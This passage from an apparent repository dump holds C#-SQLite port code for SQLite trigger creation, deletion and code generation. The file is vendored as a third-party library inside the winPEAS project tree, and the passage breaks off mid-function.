//sqlite3DbFree( db, ref pParse.apVarExpr );\n      //sqlite3DbFree( db, ref pParse.aAlias );\n      while ( pParse.pAinc != null )\n      {\n        AutoincInfo p = pParse.pAinc;\n        pParse.pAinc = p.pNext;\n        //sqlite3DbFree( db, ref p );\n      }\n      while ( pParse.pZombieTab != null )\n      {\n        Table p = pParse.pZombieTab;\n        pParse.pZombieTab = p.pNextZombie;\n        sqlite3DeleteTable( ref p );\n      }\n      if ( nErr > 0 && pParse.rc == SQLITE_OK )\n      {\n        pParse.rc = SQLITE_ERROR;\n      }\n      return nErr;\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/trigger_c.cs",
    "content": "using System.Diagnostics;\nusing u8 = System.Byte;\nusing u32 = System.UInt32;\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    **\n    ** $Id: trigger.c,v 1.143 2009/08/10 03:57:58 shane Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n#if !SQLITE_OMIT_TRIGGER\n    /*\n** Delete a linked list of TriggerStep structures.\n*/\n    static void sqlite3DeleteTriggerStep( sqlite3 db, ref TriggerStep pTriggerStep )\n    {\n      while ( pTriggerStep != null )\n      {\n        TriggerStep pTmp = pTriggerStep;\n        pTriggerStep = pTriggerStep.pNext;\n\n        sqlite3ExprDelete( db, ref pTmp.pWhere );\n        sqlite3ExprListDelete( db, ref pTmp.pExprList );\n        sqlite3SelectDelete( db, ref pTmp.pSelect );\n        sqlite3IdListDelete( db, ref pTmp.pIdList );\n\n        pTriggerStep = null;//sqlite3DbFree( db, ref pTmp );\n      }\n    }\n\n    /*\n    ** Given table pTab, return a list of all the triggers attached to\n    ** the table. The list is connected by Trigger.pNext pointers.\n    **\n    ** All of the triggers on pTab that are in the same database as pTab\n    ** are already attached to pTab->pTrigger.  But there might be additional\n    ** triggers on pTab in the TEMP schema.  This routine prepends all\n    ** TEMP triggers on pTab to the beginning of the pTab->pTrigger list\n    ** and returns the combined list.\n    **\n    ** To state it another way:  This routine returns a list of all triggers\n    ** that fire off of pTab.  The list will include any TEMP triggers on\n    ** pTab as well as the triggers lised in pTab->pTrigger.\n    */\n    static Trigger sqlite3TriggerList( Parse pParse, Table pTab )\n    {\n      Schema pTmpSchema = pParse.db.aDb[1].pSchema;\n      Trigger pList = null;                  /* List of triggers to return */\n\n      if ( pTmpSchema != pTab.pSchema )\n      {\n        HashElem p;\n        for ( p = sqliteHashFirst( pTmpSchema.trigHash ) ; p != null ; p = sqliteHashNext( p ) )\n        {\n          Trigger pTrig = (Trigger)sqliteHashData( p );\n          if ( pTrig.pTabSchema == pTab.pSchema\n          && 0 == sqlite3StrICmp( pTrig.table, pTab.zName )\n          )\n          {\n            pTrig.pNext = ( pList != null ? pList : pTab.pTrigger );\n            pList = pTrig;\n          }\n        }\n      }\n\n      return ( pList != null ? pList : pTab.pTrigger );\n    }\n\n    /*\n    ** This is called by the parser when it sees a CREATE TRIGGER statement\n    ** up to the point of the BEGIN before the trigger actions.  A Trigger\n    ** structure is generated based on the information available and stored\n    ** in pParse.pNewTrigger.  After the trigger actions have been parsed, the\n    ** sqlite3FinishTrigger() function is called to complete the trigger\n    ** construction process.\n    */\n    static void sqlite3BeginTrigger(\n    Parse pParse,      /* The parse context of the CREATE TRIGGER statement */\n    Token pName1,      /* The name of the trigger */\n    Token pName2,      /* The name of the trigger */\n    int tr_tm,         /* One of TK_BEFORE, TK_AFTER, TK_INSTEAD */\n    int op,             /* One of TK_INSERT, TK_UPDATE, TK_DELETE */\n    IdList pColumns,   /* column list if this is an UPDATE OF trigger */\n    SrcList pTableName,/* The name of the table/view the trigger applies to */\n    Expr pWhen,        /* WHEN clause */\n    int isTemp,        /* True if the TEMPORARY keyword is present */\n    int noErr          /* Suppress errors if the trigger already exists */\n    )\n    {\n      Trigger pTrigger = null;      /* The new trigger */\n      Table pTab;                   /* Table that the trigger fires off of */\n      string zName = null;          /* Name of the trigger */\n      sqlite3 db = pParse.db;       /* The database connection */\n      int iDb;                      /* The database to store the trigger in */\n      Token pName = null;           /* The unqualified db name */\n      DbFixer sFix = new DbFixer(); /* State vector for the DB fixer */\n      int iTabDb;                   /* Index of the database holding pTab */\n\n      Debug.Assert( pName1 != null );   /* pName1.z might be NULL, but not pName1 itself */\n      Debug.Assert( pName2 != null );\n      Debug.Assert( op == TK_INSERT || op == TK_UPDATE || op == TK_DELETE );\n      Debug.Assert( op > 0 && op < 0xff );\n      if ( isTemp != 0 )\n      {\n        /* If TEMP was specified, then the trigger name may not be qualified. */\n        if ( pName2.n > 0 )\n        {\n          sqlite3ErrorMsg( pParse, \"temporary trigger may not have qualified name\" );\n          goto trigger_cleanup;\n        }\n        iDb = 1;\n        pName = pName1;\n      }\n      else\n      {\n        /* Figure out the db that the the trigger will be created in */\n        iDb = sqlite3TwoPartName( pParse, pName1, pName2, ref  pName );\n        if ( iDb < 0 )\n        {\n          goto trigger_cleanup;\n        }\n      }\n\n      /* If the trigger name was unqualified, and the table is a temp table,\n      ** then set iDb to 1 to create the trigger in the temporary database.\n      ** If sqlite3SrcListLookup() returns 0, indicating the table does not\n      ** exist, the error is caught by the block below.\n      */\n      if ( pTableName == null /*|| db.mallocFailed != 0 */ )\n      {\n        goto trigger_cleanup;\n      }\n      pTab = sqlite3SrcListLookup( pParse, pTableName );\n      if ( pName2.n == 0 && pTab != null && pTab.pSchema == db.aDb[1].pSchema )\n      {\n        iDb = 1;\n      }\n\n      /* Ensure the table name matches database name and that the table exists */\n//      if ( db.mallocFailed != 0 ) goto trigger_cleanup;\n      Debug.Assert( pTableName.nSrc == 1 );\n      if ( sqlite3FixInit( sFix, pParse, iDb, \"trigger\", pName ) != 0 &&\n      sqlite3FixSrcList( sFix, pTableName ) != 0 )\n      {\n        goto trigger_cleanup;\n      }\n      pTab = sqlite3SrcListLookup( pParse, pTableName );\n      if ( pTab == null )\n      {\n        /* The table does not exist. */\n        if ( db.init.iDb == 1 )\n        {\n          /* Ticket #3810.\n          ** Normally, whenever a table is dropped, all associated triggers are\n          ** dropped too.  But if a TEMP trigger is created on a non-TEMP table\n          ** and the table is dropped by a different database connection, the\n          ** trigger is not visible to the database connection that does the\n          ** drop so the trigger cannot be dropped.  This results in an\n          ** \"orphaned trigger\" - a trigger whose associated table is missing.\n          */\n          db.init.orphanTrigger = 1;\n        }\n        goto trigger_cleanup;\n      }\n      if ( IsVirtual( pTab ) )\n      {\n        sqlite3ErrorMsg( pParse, \"cannot create triggers on virtual tables\" );\n        goto trigger_cleanup;\n      }\n\n      /* Check that the trigger name is not reserved and that no trigger of the\n      ** specified name exists */\n      zName = sqlite3NameFromToken( db, pName );\n      if ( zName == null || SQLITE_OK != sqlite3CheckObjectName( pParse, zName ) )\n      {\n        goto trigger_cleanup;\n      }\n      if ( sqlite3HashFind( ( db.aDb[iDb].pSchema.trigHash ),\n      zName, sqlite3Strlen30( zName ) ) != null )\n      {\n        if ( noErr == 0 )\n        {\n          sqlite3ErrorMsg( pParse, \"trigger %T already exists\", pName );\n        }\n        goto trigger_cleanup;\n      }\n\n      /* Do not create a trigger on a system table */\n      if ( sqlite3StrNICmp( pTab.zName, \"sqlite_\", 7 ) == 0 )\n      {\n        sqlite3ErrorMsg( pParse, \"cannot create trigger on system table\" );\n        pParse.nErr++;\n        goto trigger_cleanup;\n      }\n\n      /* INSTEAD of triggers are only for views and views only support INSTEAD\n      ** of triggers.\n      */\n      if ( pTab.pSelect != null && tr_tm != TK_INSTEAD )\n      {\n        sqlite3ErrorMsg( pParse, \"cannot create %s trigger on view: %S\",\n        ( tr_tm == TK_BEFORE ) ? \"BEFORE\" : \"AFTER\", pTableName, 0 );\n        goto trigger_cleanup;\n      }\n      if ( pTab.pSelect == null && tr_tm == TK_INSTEAD )\n      {\n        sqlite3ErrorMsg( pParse, \"cannot create INSTEAD OF\" +\n        \" trigger on table: %S\", pTableName, 0 );\n        goto trigger_cleanup;\n      }\n      iTabDb = sqlite3SchemaToIndex( db, pTab.pSchema );\n\n#if !SQLITE_OMIT_AUTHORIZATION\n{\nint code = SQLITE_CREATE_TRIGGER;\nstring zDb = db.aDb[iTabDb].zName;\nstring zDbTrig = isTemp ? db.aDb[1].zName : zDb;\nif( iTabDb==1 || isTemp ) code = SQLITE_CREATE_TEMP_TRIGGER;\nif( sqlite3AuthCheck(pParse, code, zName, pTab.zName, zDbTrig) ){\ngoto trigger_cleanup;\n}\nif( sqlite3AuthCheck(pParse, SQLITE_INSERT, SCHEMA_TABLE(iTabDb),0,zDb)){\ngoto trigger_cleanup;\n}\n}\n#endif\n\n      /* INSTEAD OF triggers can only appear on views and BEFORE triggers\n** cannot appear on views.  So we might as well translate every\n** INSTEAD OF trigger into a BEFORE trigger.  It simplifies code\n** elsewhere.\n*/\n      if ( tr_tm == TK_INSTEAD )\n      {\n        tr_tm = TK_BEFORE;\n      }\n\n      /* Build the Trigger object */\n      pTrigger = new Trigger();// (Trigger*)sqlite3DbMallocZero( db, sizeof(Trigger ))\n      if ( pTrigger == null ) goto trigger_cleanup;\n      pTrigger.name = zName;\n      pTrigger.table = pTableName.a[0].zName;// sqlite3DbStrDup( db, pTableName.a[0].zName );\n      pTrigger.pSchema = db.aDb[iDb].pSchema;\n      pTrigger.pTabSchema = pTab.pSchema;\n      pTrigger.op = (u8)op;\n      pTrigger.tr_tm = tr_tm == TK_BEFORE ? TRIGGER_BEFORE : TRIGGER_AFTER;\n      pTrigger.pWhen = sqlite3ExprDup( db, pWhen, EXPRDUP_REDUCE );\n      pTrigger.pColumns = sqlite3IdListDup( db, pColumns );\n      Debug.Assert( pParse.pNewTrigger == null );\n      pParse.pNewTrigger = pTrigger;\n\ntrigger_cleanup:\n      //sqlite3DbFree( db, ref zName );\n      sqlite3SrcListDelete( db, ref pTableName );\n      sqlite3IdListDelete( db, ref pColumns );\n      sqlite3ExprDelete( db, ref pWhen );\n      if ( pParse.pNewTrigger == null )\n      {\n        sqlite3DeleteTrigger( db, ref pTrigger );\n      }\n      else\n      {\n        Debug.Assert( pParse.pNewTrigger == pTrigger );\n      }\n    }\n\n    /*\n    ** This routine is called after all of the trigger actions have been parsed\n    ** in order to complete the process of building the trigger.\n    */\n    static void sqlite3FinishTrigger(\n    Parse pParse,          /* Parser context */\n    TriggerStep pStepList, /* The triggered program */\n    Token pAll             /* Token that describes the complete CREATE TRIGGER */\n    )\n    {\n      Trigger pTrig = pParse.pNewTrigger; /* Trigger being finished */\n      string zName;                       /* Name of trigger */\n\n      sqlite3 db = pParse.db;             /* The database */\n      DbFixer sFix = new DbFixer();\n      int iDb;                        /* Database containing the trigger */\n      Token nameToken = new Token();  /* Trigger name for error reporting */\n\n      pTrig = pParse.pNewTrigger;\n      pParse.pNewTrigger = null;\n      if ( NEVER( pParse.nErr != 0 ) || pTrig == null ) goto triggerfinish_cleanup;\n      zName = pTrig.name;\n      iDb = sqlite3SchemaToIndex( pParse.db, pTrig.pSchema );\n      pTrig.step_list = pStepList;\n      while ( pStepList != null )\n      {\n        pStepList.pTrig = pTrig;\n        pStepList = pStepList.pNext;\n      }\n      nameToken.z = pTrig.name;\n      nameToken.n = sqlite3Strlen30( nameToken.z );\n      if ( sqlite3FixInit( sFix, pParse, iDb, \"trigger\", nameToken ) != 0\n      && sqlite3FixTriggerStep( sFix, pTrig.step_list ) != 0 )\n      {\n        goto triggerfinish_cleanup;\n      }\n\n      /* if we are not initializing, and this trigger is not on a TEMP table,\n      ** build the sqlite_master entry\n      */\n      if ( 0 == db.init.busy )\n      {\n        Vdbe v;\n        string z;\n\n        /* Make an entry in the sqlite_master table */\n        v = sqlite3GetVdbe( pParse );\n        if ( v == null ) goto triggerfinish_cleanup;\n        sqlite3BeginWriteOperation( pParse, 0, iDb );\n        z = pAll.z.Substring( 0, pAll.n );//sqlite3DbStrNDup( db, (char*)pAll.z, pAll.n );\n        sqlite3NestedParse( pParse,\n        \"INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')\",\n        db.aDb[iDb].zName, SCHEMA_TABLE( iDb ), zName,\n        pTrig.table, z );\n        //sqlite3DbFree( db, ref z );\n        sqlite3ChangeCookie( pParse, iDb );\n        sqlite3VdbeAddOp4( v, OP_ParseSchema, iDb, 0, 0, sqlite3MPrintf(\n        db, \"type='trigger' AND name='%q'\", zName ), P4_DYNAMIC\n        );\n      }\n\n      if ( db.init.busy != 0 )\n      {\n        Trigger pLink = pTrig;\n        Hash pHash = db.aDb[iDb].pSchema.trigHash;\n        pTrig = (Trigger)sqlite3HashInsert( ref pHash, zName, sqlite3Strlen30( zName ), pTrig );\n        if ( pTrig != null )\n        {\n          //db.mallocFailed = 1;\n        }\n        else if ( pLink.pSchema == pLink.pTabSchema )\n        {\n          Table pTab;\n          int n = sqlite3Strlen30( pLink.table );\n          pTab = (Table)sqlite3HashFind( pLink.pTabSchema.tblHash, pLink.table, n );\n          Debug.Assert( pTab != null );\n          pLink.pNext = pTab.pTrigger;\n          pTab.pTrigger = pLink;\n        }\n      }\n\ntriggerfinish_cleanup:\n      sqlite3DeleteTrigger( db, ref pTrig );\n      Debug.Assert( pParse.pNewTrigger == null );\n      sqlite3DeleteTriggerStep( db, ref pStepList );\n    }\n\n    /*\n    ** Turn a SELECT statement (that the pSelect parameter points to) into\n    ** a trigger step.  Return a pointer to a TriggerStep structure.\n    **\n    ** The parser calls this routine when it finds a SELECT statement in\n    ** body of a TRIGGER.\n    */\n    static TriggerStep sqlite3TriggerSelectStep( sqlite3 db, Select pSelect )\n    {\n      TriggerStep pTriggerStep = new TriggerStep();// sqlite3DbMallocZero( db, sizeof(TriggerStep ))\n      if ( pTriggerStep == null )\n      {\n        sqlite3SelectDelete( db, ref pSelect );\n        return null;\n      }\n\n      pTriggerStep.op = TK_SELECT;\n      pTriggerStep.pSelect = pSelect;\n      pTriggerStep.orconf = OE_Default;\n      return pTriggerStep;\n    }\n\n    /*\n    ** Allocate space to hold a new trigger step.  The allocated space\n    ** holds both the TriggerStep object and the TriggerStep.target.z string.\n    **\n    ** If an OOM error occurs, NULL is returned and db->mallocFailed is set.\n    */\n    static TriggerStep triggerStepAllocate(\n    sqlite3 db,                /* Database connection */\n    u8 op,                     /* Trigger opcode */\n    Token pName                /* The target name */\n    )\n    {\n      TriggerStep pTriggerStep;\n\n      pTriggerStep = new TriggerStep();// sqlite3DbMallocZero( db, sizeof( TriggerStep ) + pName.n );\n      //if ( pTriggerStep != null )\n      //{\n        string z;// = (char*)&pTriggerStep[1];\n        z = pName.z;// memcpy( z, pName.z, pName.n );\n        pTriggerStep.target.z = z;\n        pTriggerStep.target.n = pName.n;\n        pTriggerStep.op = op;\n      //}\n      return pTriggerStep;\n    }\n\n    /*\n    ** Build a trigger step out of an INSERT statement.  Return a pointer\n    ** to the new trigger step.\n    **\n    ** The parser calls this routine when it sees an INSERT inside the\n    ** body of a trigger.\n    */\n    // OVERLOADS, so I don't need to rewrite parse.c\n    static TriggerStep sqlite3TriggerInsertStep( sqlite3 db, Token pTableName, IdList pColumn, int null_4, int null_5, u8 orconf )\n    { return sqlite3TriggerInsertStep( db, pTableName, pColumn, null, null, orconf ); }\n    static TriggerStep sqlite3TriggerInsertStep( sqlite3 db, Token pTableName, IdList pColumn, ExprList pEList, int null_5, u8 orconf )\n    { return sqlite3TriggerInsertStep( db, pTableName, pColumn, pEList, null, orconf ); }\n    static TriggerStep sqlite3TriggerInsertStep( sqlite3 db, Token pTableName, IdList pColumn, int null_4, Select pSelect, u8 orconf )\n    { return sqlite3TriggerInsertStep( db, pTableName, pColumn, null, pSelect, orconf ); }\n    static TriggerStep sqlite3TriggerInsertStep(\n    sqlite3 db,        /* The database connection */\n    Token pTableName,  /* Name of the table into which we insert */\n    IdList pColumn,    /* List of columns in pTableName to insert into */\n    ExprList pEList,   /* The VALUE clause: a list of values to be inserted */\n    Select pSelect,    /* A SELECT statement that supplies values */\n    u8 orconf          /* The conflict algorithm (OE_Abort, OE_Replace, etc.) */\n    )\n    {\n      TriggerStep pTriggerStep;\n\n      Debug.Assert( pEList == null || pSelect == null );\n      Debug.Assert( pEList != null || pSelect != null /*|| db.mallocFailed != 0 */ );\n\n      pTriggerStep = triggerStepAllocate( db, TK_INSERT, pTableName );\n      //if ( pTriggerStep != null )\n      //{\n        pTriggerStep.pSelect = sqlite3SelectDup( db, pSelect, EXPRDUP_REDUCE );\n        pTriggerStep.pIdList = pColumn;\n        pTriggerStep.pExprList = sqlite3ExprListDup( db, pEList, EXPRDUP_REDUCE );\n        pTriggerStep.orconf = orconf;\n      //}\n      //else\n      //{\n      //  sqlite3IdListDelete( db, ref pColumn );\n      //}\n      sqlite3ExprListDelete( db, ref pEList );\n      sqlite3SelectDelete( db, ref pSelect );\n\n      return pTriggerStep;\n    }\n\n    /*\n    ** Construct a trigger step that implements an UPDATE statement and return\n    ** a pointer to that trigger step.  The parser calls this routine when it\n    ** sees an UPDATE statement inside the body of a CREATE TRIGGER.\n    */\n    static TriggerStep sqlite3TriggerUpdateStep(\n    sqlite3 db,         /* The database connection */\n    Token pTableName,   /* Name of the table to be updated */\n    ExprList pEList,    /* The SET clause: list of column and new values */\n    Expr pWhere,        /* The WHERE clause */\n    u8 orconf           /* The conflict algorithm. (OE_Abort, OE_Ignore, etc) */\n    )\n    {\n      TriggerStep pTriggerStep;\n\n      pTriggerStep = triggerStepAllocate( db, TK_UPDATE, pTableName );\n      //if ( pTriggerStep != null )\n      //{\n        pTriggerStep.pExprList = sqlite3ExprListDup( db, pEList, EXPRDUP_REDUCE );\n        pTriggerStep.pWhere = sqlite3ExprDup( db, pWhere, EXPRDUP_REDUCE );\n        pTriggerStep.orconf = orconf;\n      //}\n      sqlite3ExprListDelete( db, ref pEList );\n      sqlite3ExprDelete( db, ref pWhere );\n      return pTriggerStep;\n    }\n\n    /*\n    ** Construct a trigger step that implements a DELETE statement and return\n    ** a pointer to that trigger step.  The parser calls this routine when it\n    ** sees a DELETE statement inside the body of a CREATE TRIGGER.\n    */\n    static TriggerStep sqlite3TriggerDeleteStep(\n    sqlite3 db,            /* Database connection */\n    Token pTableName,      /* The table from which rows are deleted */\n    Expr pWhere            /* The WHERE clause */\n    )\n    {\n      TriggerStep pTriggerStep;\n\n      pTriggerStep = triggerStepAllocate( db, TK_DELETE, pTableName );\n      //if ( pTriggerStep != null )\n      //{\n        pTriggerStep.pWhere = sqlite3ExprDup( db, pWhere, EXPRDUP_REDUCE );\n        pTriggerStep.orconf = OE_Default;\n      //}\n      sqlite3ExprDelete( db, ref pWhere );\n      return pTriggerStep;\n    }\n\n\n\n    /*\n    ** Recursively delete a Trigger structure\n    */\n    static void sqlite3DeleteTrigger( sqlite3 db, ref Trigger pTrigger )\n    {\n      if ( pTrigger == null ) return;\n      sqlite3DeleteTriggerStep( db, ref pTrigger.step_list );\n      //sqlite3DbFree(db,ref pTrigger.name);\n      //sqlite3DbFree( db, ref pTrigger.table );\n      sqlite3ExprDelete( db, ref pTrigger.pWhen );\n      sqlite3IdListDelete( db, ref pTrigger.pColumns );\n      pTrigger = null;//sqlite3DbFree( db, ref pTrigger );\n    }\n\n    /*\n    ** This function is called to drop a trigger from the database schema.\n    **\n    ** This may be called directly from the parser and therefore identifies\n    ** the trigger by name.  The sqlite3DropTriggerPtr() routine does the\n    ** same job as this routine except it takes a pointer to the trigger\n    ** instead of the trigger name.\n    **/\n    static void sqlite3DropTrigger( Parse pParse, SrcList pName, int noErr )\n    {\n      Trigger pTrigger = null;\n      int i;\n      string zDb;\n      string zName;\n      int nName;\n      sqlite3 db = pParse.db;\n\n//      if ( db.mallocFailed != 0 ) goto drop_trigger_cleanup;\n      if ( SQLITE_OK != sqlite3ReadSchema( pParse ) )\n      {\n        goto drop_trigger_cleanup;\n      }\n\n      Debug.Assert( pName.nSrc == 1 );\n      zDb = pName.a[0].zDatabase;\n      zName = pName.a[0].zName;\n      nName = sqlite3Strlen30( zName );\n      for ( i = OMIT_TEMPDB ; i < db.nDb ; i++ )\n      {\n        int j = ( i < 2 ) ? i ^ 1 : i;  /* Search TEMP before MAIN */\n        if ( zDb != null && sqlite3StrICmp( db.aDb[j].zName, zDb ) != 0 ) continue;\n        pTrigger = (Trigger)sqlite3HashFind( ( db.aDb[j].pSchema.trigHash ), zName, nName );\n        if ( pTrigger != null ) break;\n      }\n      if ( pTrigger == null )\n      {\n        if ( noErr == 0 )\n        {\n          sqlite3ErrorMsg( pParse, \"no such trigger: %S\", pName, 0 );\n        }\n        goto drop_trigger_cleanup;\n      }\n      sqlite3DropTriggerPtr( pParse, pTrigger );\n\ndrop_trigger_cleanup:\n      sqlite3SrcListDelete( db, ref pName );\n    }\n\n    /*\n    ** Return a pointer to the Table structure for the table that a trigger\n    ** is set on.\n    */\n    static Table tableOfTrigger( Trigger pTrigger )\n    {\n      int n = sqlite3Strlen30( pTrigger.table );\n      return (Table)sqlite3HashFind( pTrigger.pTabSchema.tblHash, pTrigger.table, n );\n    }\n\n\n    /*\n    ** Drop a trigger given a pointer to that trigger.\n    */\n    static void sqlite3DropTriggerPtr( Parse pParse, Trigger pTrigger )\n    {\n      Table pTable;\n      Vdbe v;\n      sqlite3 db = pParse.db;\n      int iDb;\n\n      iDb = sqlite3SchemaToIndex( pParse.db, pTrigger.pSchema );\n      Debug.Assert( iDb >= 0 && iDb < db.nDb );\n      pTable = tableOfTrigger( pTrigger );\n      Debug.Assert( pTable != null );\n      Debug.Assert( pTable.pSchema == pTrigger.pSchema || iDb == 1 );\n#if !SQLITE_OMIT_AUTHORIZATION\n{\nint code = SQLITE_DROP_TRIGGER;\nstring zDb = db.aDb[iDb].zName;\nstring zTab = SCHEMA_TABLE(iDb);\nif( iDb==1 ) code = SQLITE_DROP_TEMP_TRIGGER;\nif( sqlite3AuthCheck(pParse, code, pTrigger.name, pTable.zName, zDb) ||\nsqlite3AuthCheck(pParse, SQLITE_DELETE, zTab, 0, zDb) ){\nreturn;\n}\n}\n#endif\n\n      /* Generate code to destroy the database record of the trigger.\n*/\n      Debug.Assert( pTable != null );\n      if ( ( v = sqlite3GetVdbe( pParse ) ) != null )\n      {\n        int _base;\n        VdbeOpList[] dropTrigger = new VdbeOpList[]  {\nnew VdbeOpList( OP_Rewind,     0, ADDR(9),  0),\nnew VdbeOpList( OP_String8,    0, 1,        0), /* 1 */\nnew VdbeOpList( OP_Column,     0, 1,        2),\nnew VdbeOpList( OP_Ne,         2, ADDR(8),  1),\nnew VdbeOpList( OP_String8,    0, 1,        0), /* 4: \"trigger\" */\nnew VdbeOpList( OP_Column,     0, 0,        2),\nnew VdbeOpList( OP_Ne,         2, ADDR(8),  1),\nnew VdbeOpList( OP_Delete,     0, 0,        0),\nnew VdbeOpList( OP_Next,       0, ADDR(1),  0), /* 8 */\n};\n\n        sqlite3BeginWriteOperation( pParse, 0, iDb );\n        sqlite3OpenMasterTable( pParse, iDb );\n        _base = sqlite3VdbeAddOpList( v, dropTrigger.Length, dropTrigger );\n        sqlite3VdbeChangeP4( v, _base + 1, pTrigger.name, 0 );\n        sqlite3VdbeChangeP4( v, _base + 4, \"trigger\", P4_STATIC );\n        sqlite3ChangeCookie( pParse, iDb );\n        sqlite3VdbeAddOp2( v, OP_Close, 0, 0 );\n        sqlite3VdbeAddOp4( v, OP_DropTrigger, iDb, 0, 0, pTrigger.name, 0 );\n        if ( pParse.nMem < 3 )\n        {\n          pParse.nMem = 3;\n        }\n      }\n    }\n\n    /*\n    ** Remove a trigger from the hash tables of the sqlite* pointer.\n    */\n    static void sqlite3UnlinkAndDeleteTrigger( sqlite3 db, int iDb, string zName )\n    {\n      Hash pHash = db.aDb[iDb].pSchema.trigHash;\n      Trigger pTrigger;\n      pTrigger = (Trigger)sqlite3HashInsert( ref pHash, zName, sqlite3Strlen30( zName ), null );\n      if ( ALWAYS( pTrigger != null ) )\n      {\n        if ( pTrigger.pSchema == pTrigger.pTabSchema )\n        {\n          Table pTab = tableOfTrigger( pTrigger );\n          //Trigger** pp;\n          //for ( pp = &pTab->pTrigger ; *pp != pTrigger ; pp = &( (*pp)->pNext ) ) ;\n          //*pp = (*pp)->pNext;\n          if ( pTab.pTrigger == pTrigger )\n          {\n            pTab.pTrigger = pTrigger.pNext;\n          }\n          else\n          {\n            Trigger cc = pTab.pTrigger;\n            while ( cc != null )\n            {\n              if ( cc.pNext == pTrigger )\n              {\n                cc.pNext = cc.pNext.pNext;\n                break;\n              }\n              cc = cc.pNext;\n            }\n            Debug.Assert( cc != null );\n          }\n        }\n        sqlite3DeleteTrigger( db, ref pTrigger );\n        db.flags |= SQLITE_InternChanges;\n      }\n    }\n\n    /*\n    ** pEList is the SET clause of an UPDATE statement.  Each entry\n    ** in pEList is of the format <id>=<expr>.  If any of the entries\n    ** in pEList have an <id> which matches an identifier in pIdList,\n    ** then return TRUE.  If pIdList==NULL, then it is considered a\n    ** wildcard that matches anything.  Likewise if pEList==NULL then\n    ** it matches anything so always return true.  Return false only\n    ** if there is no match.\n    */\n    static int checkColumnOverlap( IdList pIdList, ExprList pEList )\n    {\n      int e;\n      if ( pIdList == null || NEVER( pEList == null ) ) return 1;\n      for ( e = 0 ; e < pEList.nExpr ; e++ )\n      {\n        if ( sqlite3IdListIndex( pIdList, pEList.a[e].zName ) >= 0 ) return 1;\n      }\n      return 0;\n    }\n\n    /*\n    ** Return a list of all triggers on table pTab if there exists at least\n    ** one trigger that must be fired when an operation of type 'op' is\n    ** performed on the table, and, if that operation is an UPDATE, if at\n    ** least one of the columns in pChanges is being modified.\n    */\n    static Trigger sqlite3TriggersExist(\n    Parse pParse,          /* Parse context */\n    Table pTab,            /* The table the contains the triggers */\n    int op,                /* one of TK_DELETE, TK_INSERT, TK_UPDATE */\n    ExprList pChanges,     /* Columns that change in an UPDATE statement */\n    ref int pMask          /* OUT: Mask of TRIGGER_BEFORE|TRIGGER_AFTER */\n    )\n    {\n      int mask = 0;\n      Trigger pList = sqlite3TriggerList( pParse, pTab );\n      Trigger p;\n      Debug.Assert( pList == null || IsVirtual( pTab ) == false );\n      for ( p = pList ; p != null ; p = p.pNext )\n      {\n        if ( p.op == op && checkColumnOverlap( p.pColumns, pChanges ) != 0 )\n        {\n          mask |= p.tr_tm;\n        }\n      }\n      //if ( pMask != 0 )\n      {\n        pMask = mask;\n      }\n      return ( mask != 0 ? pList : null );\n    }\n\n\n    /*\n    ** Convert the pStep.target token into a SrcList and return a pointer\n    ** to that SrcList.\n    **\n    ** This routine adds a specific database name, if needed, to the target when\n    ** forming the SrcList.  This prevents a trigger in one database from\n    ** referring to a target in another database.  An exception is when the\n    ** trigger is in TEMP in which case it can refer to any other database it\n    ** wants.\n    */\n    static SrcList targetSrcList(\n    Parse pParse,       /* The parsing context */\n    TriggerStep pStep   /* The trigger containing the target token */\n    )\n    {\n      int iDb;             /* Index of the database to use */\n      SrcList pSrc;        /* SrcList to be returned */\n\n      pSrc = sqlite3SrcListAppend( pParse.db, 0, pStep.target, 0 );\n      //if ( pSrc != null )\n      //{\n        Debug.Assert( pSrc.nSrc > 0 );\n        Debug.Assert( pSrc.a != null );\n        iDb = sqlite3SchemaToIndex( pParse.db, pStep.pTrig.pSchema );\n        if ( iDb == 0 || iDb >= 2 )\n        {\n          sqlite3 db = pParse.db;\n          Debug.Assert( iDb < pParse.db.nDb );\n          pSrc.a[pSrc.nSrc - 1].zDatabase = db.aDb[iDb].zName;// sqlite3DbStrDup( db, db.aDb[iDb].zName );\n        }\n      //}\n      return pSrc;\n    }\n\n    /*\n    ** Generate VDBE code for zero or more statements inside the body of a\n    ** trigger.\n    */\n    static int codeTriggerProgram(\n    Parse pParse,            /* The parser context */\n    TriggerStep pStepList,   /* List of statements inside the trigger body */\n    int orconfin              /* Conflict algorithm. (OE_Abort, etc) */\n    )\n    {\n      TriggerStep pTriggerStep = pStepList;\n      int orconf;\n      Vdbe v = pParse.pVdbe;\n      sqlite3 db = pParse.db;\n\n      Debug.Assert( pTriggerStep != null );\n      Debug.Assert( v != null );\n      sqlite3VdbeAddOp2( v, OP_ContextPush, 0, 0 );\n#if SQLITE_DEBUG\n      VdbeComment( v, \"begin trigger %s\", pStepList.pTrig.name );\n#endif\n      while ( pTriggerStep != null )\n      {\n        sqlite3ExprCacheClear( pParse );\n        orconf = ( orconfin == OE_Default ) ? pTriggerStep.orconf : orconfin;\n        pParse.trigStack.orconf = orconf;\n        switch ( pTriggerStep.op )\n        {\n          case TK_UPDATE:\n            {\n              SrcList pSrc;\n              pSrc = targetSrcList( pParse, pTriggerStep );\n              sqlite3VdbeAddOp2( v, OP_ResetCount, 0, 0 );\n              sqlite3Update( pParse, pSrc,\n              sqlite3ExprListDup( db, pTriggerStep.pExprList, 0 ),\n              sqlite3ExprDup( db, pTriggerStep.pWhere, 0 ), orconf );\n              sqlite3VdbeAddOp2( v, OP_ResetCount, 1, 0 );\n              break;\n            }\n          case TK_INSERT:\n            {\n              SrcList pSrc;\n              pSrc = targetSrcList( pParse, pTriggerStep );\n              sqlite3VdbeAddOp2( v, OP_ResetCount, 0, 0 );\n              sqlite3Insert( pParse, pSrc,\n              sqlite3ExprListDup( db, pTriggerStep.pExprList, 0 ),\n              sqlite3SelectDup( db, 